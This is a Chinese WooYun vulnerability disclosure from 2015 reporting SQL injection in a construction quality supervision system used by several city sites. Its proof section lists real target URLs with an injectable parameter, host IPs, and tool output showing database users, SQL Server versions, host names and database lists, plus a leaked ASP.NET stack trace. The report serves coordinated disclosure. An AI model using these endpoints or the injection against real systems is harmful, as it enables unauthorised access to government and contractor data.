当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118267

漏洞标题：某建设工程质量监督系统SQL通用漏洞 涉及部分市

相关厂商：某建设工程质量监督系统

漏洞作者： 雅柏菲卡

提交时间：2015-06-05 14:45

修复时间：2015-09-06 00:00

公开时间：2015-09-06 00:00

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-05： 细节已通知厂商并且等待厂商处理中
2015-06-05： 厂商已经确认，细节仅向厂商公开
2015-06-08： 细节向第三方安全合作伙伴开放
2015-07-30： 细节向核心白帽子及相关领域专家公开
2015-08-09： 细节向普通白帽子公开
2015-08-19： 细节向实习白帽子公开
2015-09-06： 细节向公众公开

简要描述：

..........

详细说明：

....................

漏洞证明：

1、
Target: 		http://www.lwjczx.com/newsl.aspx?key=1
Host IP:		122.228.177.114
Web Server: 	Microsoft-IIS/6.0
Powered-by: 	ASP.NET
DB Server: 	MsSQL with error
Resp. Time(avg):	3345 ms
Current User: 	dbo
Current DB: 	web
System User: 	sa
Host Name: 	IBMSERVER
Server Name: 	IBMSERVER
		web
Data Bases: 	master
		tempdb
		model
		msdb
		ReportServer
		ReportServerTempDB
		weblab
		web
		jzqygl
		test
		weblab_old
		weblab_tmp
2、
Target: 		http://www.jxjgjc.com/newsl.aspx?key=1
Host IP:		122.225.52.126
Web Server: 	Microsoft-IIS/6.0
Powered-by: 	ASP.NET
DB Server: 	MSSQL no error
Resp. Time(avg):	1169 ms
Current User: 	bdsa
Sql Version: 	Microsoft SQL Server 2005 - 9.00.5000.00 (Intel X86) <br>	Dec 10 2010 10:56:29 <br>	Copyright (c) 1988-2005 Microsoft Corporation<br>	Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 1)<br>
Current DB: 	web_new
System User: 	bdsa
Host Name: 	JXJGJCWEB
Server Name: 	JXSERVER
Data Bases: 	master
		tempdb
		model
		msdb
		ReportServer
		ReportServerTempDB
		weblab
		weblabOLD
		web
		web_new
		whrsm
		web_xh
		bbs
		jxkq
3、
Target: 		http://www.cfjsgcgl.com/newsl.aspx?key=1
Host IP:		124.67.252.48
Web Server: 	Microsoft-IIS/6.0
Powered-by: 	ASP.NET
DB Server: 	MsSQL with error
Resp. Time(avg):	1052 ms
Current User: 	bdsoft
Current DB: 	web_js
Host Name: 	CF
		web_js
Data Bases: 	master
		tempdb
		model
		msdb
		cs
		dqjg_2011
		dqjg_2012_1
		dqjg_2012_2
		dqjg
		fhys
		jzqygl
		oa
		ums
		web
		web_js
		jcoa
4、
Target: 		http://www.wenchenggcjc.com/newsl.aspx?key=1
Host IP:		122.228.165.130
Web Server: 	Microsoft-IIS/7.0
Powered-by: 	ASP.NET
DB Server: 	MsSQL with error
Resp. Time(avg):	834 ms
Current User: 	dbo
Sql Version: 	Microsoft SQL Server 2005 - 9.00.5000.00 (Intel X86) <br>	Dec 10 2010 10:56:29 <br>	Copyright (c) 1988-2005 Microsoft Corporation<br>	Developer Edition on Windows NT 6.0 (Build 6001: Service Pack 1)<br>' 转换成数据类型 int 时失败。</title>
        <style>
         body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} 
         p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
         b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
         H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
         H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
         pre {font-family:"Lucida Console";font-size: .9em}
         .marker {font-weight: bold; color: black;text-decoration: none;}
         .version {color: gray;}
         .error {margin-bottom: 10px;}
         .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
        </style>
    </head>
    <body bgcolor="white">
            <span><H1>“/”应用程序中的服务器错误。<hr width=100% size=1 color=silver></H1>
            <h2> <i>在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.5000.00 (Intel X86) <br>	Dec 10 2010 10:56:29 <br>	Copyright (c) 1988-2005 Microsoft Corporation<br>	Developer Edition on Windows NT 6.0 (Build 6001: Service Pack 1)<br>' 转换成数据类型 int 时失败。</i> </h2></span>
            <font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">
            <b> 说明: </b>执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。
            <br><br>
            <b> 异常详细信息: </b>System.Data.SqlClient.SqlException: 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.5000.00 (Intel X86) <br>	Dec 10 2010 10:56:29 <br>	Copyright (c) 1988-2005 Microsoft Corporation<br>	Developer Edition on Windows NT 6.0 (Build 6001: Service Pack 1)<br>' 转换成数据类型 int 时失败。<br><br>
            <b>源错误:</b> <br><br>
            <table width=100% bgcolor="#ffffcc">
               <tr>
                  <td>
                      <code>
执行当前 Web 请求期间生成了未处理的异常。可以使用下面的异常堆栈跟踪信息确定有关异常原因和发生位置的信息。


</td>
</tr>
</table>
<br>
<b>堆栈跟踪:</b> <br><br>
<table width=100% bgcolor="#ffffcc">
<tr>
<td>

<pre>
[SqlException (0x80131904): 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.5000.00 (Intel X86) 
	Dec 10 2010 10:56:29 
	Copyright (c) 1988-2005 Microsoft Corporation
	Developer Edition on Windows NT 6.0 (Build 6001: Service Pack 1)
' 转换成数据类型 int 时失败。]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +925466
   System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +800118
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +186
   System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +1932
   System.Data.SqlClient.SqlDataReader.HasMoreRows() +150
   System.Data.SqlClient.SqlDataReader.ReadInternal(Boolean setTimeout) +212
   System.Data.SqlClient.SqlDataReader.NextResult() +162
   web.dbsql.QueryControllers.CommonPage(String sql, Int32 pageSize, Int32 pageIndex, Int32&amp; totalCount) in E:\Napoleon\Asp.net\Webform\Work\标点\文成\网站\dbsql\QueryControllers.cs:30
   web.dbsql.QueryControllers.SearchNews(String title, String ischeck, String category, String important, Int32 pageSize, Int32 pageIndex, Int32&amp; totalCount) in E:\Napoleon\Asp.net\Webform\Work\标点\文成\网站\dbsql\QueryControllers.cs:298
   web.busyness.NewsService.SearchNews(String title, String ischeck, String category, String important, Int32 pageSize, Int32 pageIndex, Int32&amp; totalCount) in E:\Napoleon\Asp.net\Webform\Work\标点\文成\网站\busyness\NewsService.cs:166
   web.web.newsl.Page_Load(Object sender, EventArgs e) in E:\Napoleon\Asp.net\Webform\Work\标点\文成\网站\web\newsl.aspx.cs:34
   System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) +15
   System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) +33
   System.Web.UI.Control.OnLoad(EventArgs e) +99
   System.Web.UI.Control.LoadRecursive() +47
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1436
</pre>


</td>
</tr>
</table>
<br>
<hr width=100% size=1 color=silver>
<b>版本信息:</b>&nbsp;Microsoft .NET Framework 版本:2.0.50727.1434; ASP.NET 版本:2.0.50727.1434
</font>
</body>
</html>
<!--
[SqlException]: 在将 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.5000.00 (Intel X86)
Dec 10 2010 10:56:29
Copyright (c) 1988-2005 Microsoft Corporation
Developer Edition on Windows NT 6.0 (Build 6001: Service Pack 1)
System User: sa
Host Name: WIN-AKIQVLPTGSP
web
Data Bases: master
tempdb
model
msdb
weblab
oa
weblab_ra
web
5、http://61.164.138.46:82/newsl.aspx?key=111

QQ截图20150604181534.jpg


</code>

修复方案：

......................

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-06-05 18:15

厂商回复：

最新状态：

暂无